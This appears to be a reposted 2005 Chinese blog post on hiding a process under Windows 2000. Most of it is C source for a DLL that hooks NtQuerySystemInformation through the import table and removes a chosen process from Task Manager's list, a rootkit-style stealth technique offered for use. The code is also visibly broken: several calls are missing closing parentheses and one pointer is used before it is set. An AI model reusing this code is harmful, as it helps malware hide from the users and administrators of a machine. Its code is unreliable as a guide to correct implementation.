您的位置:首页 > 其它

windows2000下简单的进程隐藏

2005-12-11 14:36 316 查看
windows2000下简单的进程隐藏
大家一看到这个题目,一定会说,这个也太简单了,用CreateRemoteThread不就行了吗,不过我这里并不讨论使用CreateRemoteThread的方法来实现,因为那样根本不是真正的隐藏。
最近看了篇PJF写的文章,他的方法的确很好,不用进入ring0,利用直接读写物理内存的方法修改系统进程双向链表,但是这种方法通用性不是很好,在XP下我试了试,我的朋友EA在用WINDBG调试的时候发现,好象其中KPCR中CurrentThread结构的偏移可能不同(我自己太懒了,没有看),所以需要直接修改程序,但是还有另外的方法,下面我给出一种最简单的方法,请看代码,如果看了我上一篇文章,这里会十分简单。
#define UNICODE
#include <windows.h>
#include "stdafx.h"
#include <imagehlp.h>
#pragma comment(lib,"imagehlp.lib"
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_PROCESSTHREAD_INFO 0x05
#define MAX_INFO_BUF_LEN 0x500000
typedef LONG NTSTATUS;
typedef DWORD SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTSTATUS (__stdcall *pNTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;
typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}IO_COUNTERS,*PIO_COUNTERS;
typedef enum _THREAD_STATE
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
}THREAD_STATE;
typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVertualMemory,
WrPageOut,
WrRendezvous,
Spare2,
Spare3,
Spare4,
Spare5,
Spare6,
WrKernel
}KWAIT_REASON;

typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;

int HOOKAPI(void);

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID lpvReserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
/*调试信息,表示DLL已经加载*/
HOOKAPI();
MessageBox(NULL,"HOOKAPI","消息",MB_OK);
break;
case DLL_PROCESS_DETACH:
/*调试信息,表示DLL已经卸载*/
MessageBox(NULL,"DLL被卸载","消息",MB_OK);
break;
}
return TRUE;
}
int HOOKAPI(void)
{
HMODULE hModule;
HMODULE hInstance;
DWORD dwNtQuerySystemInformation;
DWORD dwSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PSTR pszModName;
PIMAGE_THUNK_DATA pThunk;
char debuginfo[50];
hInstance = GetModuleHandle(NULL); //得到进程基地址
wsprintf(debuginfo,"当前进程基地址:0x%x",hInstance);
MessageBox(NULL,debuginfo,"消息",MB_OK);
hModule = GetModuleHandle(TEXT("ntdll.dll");
dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
//得到NtQuerySystemInformation地址
wsprintf(debuginfo,"NtQuerySystemInformation Address:0x%x",dwNtQuerySystemInformation);
MessageBox(NULL,debuginfo,"消息",MB_OK);
pNTQUERYSYSTEMINFORMATION = NtQuerySystemInformation;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hInstance,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&dwSize);
if(pImportDesc==NULL)
{
MessageBox(NULL,"不能得到import table地址","消息",MB_OK);
return 0;
}
while (pImportDesc->Name)
{ //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
if (stricmp(pszModName,"ntdll.dll" == 0)
{
break;
}
pImportDesc++;
}
pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hInstance+pImportDesc->FirstThunk);
while (pThunk->u1.Function)
{
PROC* ppfn = (PROC*) &pThunk->u1.Function;
BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);
if (bFound)
{
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);
//pThunk->u1.Function = (DWORD *)pHookCreateProcess;
pThunk->u1.Function = (DWORD *)pNTQUERYSYSTEMINFORMATION;
//挂钩NTQUERYSYSTEMINFORMATION
DWORD dwOldProtect;
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
break;
}
pThunk++;
}
return 1;
}
NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL)
{
HMODULE hDll;
NTSTATUS NtStatus;
SYSTEM_PROCESSES *lpProcInfo,*lptmp,*lptmp1;
NTQUERYSYSTEMINFORMATION pQuerySystemInformation;
hDll = GetModuleHandle(TEXT("ntdll.dll");
if(hDll==NULL)
{
MessageBoxW(NULL,L"not load ntdll.dll",L"information",MB_OK);
return -1;
}
_try
{
pQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hDll,"NtQuerySystemInformation";
NtStatus = pQuerySystemInformation(SystemInformationClass,SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL);
if(NtStatus==STATUS_INFO_LENGTH_MISMATCH)
{
MessageBox(NULL,"STATUS_INFO_LENGTH_MISMATCH","Information",MB_OK);
_leave;
}
if(NtStatus!=STATUS_SUCCESS)
{
MessageBox(NULL,"NtQuerySystemInformation Failed","Information",MB_OK);
_leave;
}
if(SystemInformationClass!=5)
{
return NtStatus;
}
lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
while(lpProcInfo->NextEntryDelta!=0)
{
//在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
if(lpProcInfo->ProcessId==8)
{
lptmp = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
//lpProcInfo->NextEntryDelta += lptmp->NextEntryDelta;
lptmp1->NextEntryDelta += lpProcInfo->NextEntryDelta;
//lpProcInfo->NextEntryDelta=0;
}
lptmp1 = lpProcInfo;
lpProcInfo = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
}
}
_finally
{
FreeLibrary(hDll);
}
return NtStatus;
}

和我上一篇文章一样,挂钩windows任务管理器中的NtQuerySystemInformation这个函数,什么你问我这个函数是做什么用的,这个函数的功能很强大,是一个NATIVE API,在定义在NTDLL.DLL中,他的作用是查询系统的各种信息,象大家所熟知的Process32First等API,到最后还是要调用他来获取进程信息,关于这个函数的具体信息,请查阅相关文档,这里我们挂钩这个NATVIE API,修改这个函数的返回数据,从中删除我们要隐藏的进程单元,这样就可以简单的完成隐藏进程,不过这种方法的不足之处是,不使用任务管理器,使用其他软件就能查到被隐藏的进程,这点明显不入PJF的方法。
在各位高手面前献丑了,今天就写到这里吧
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: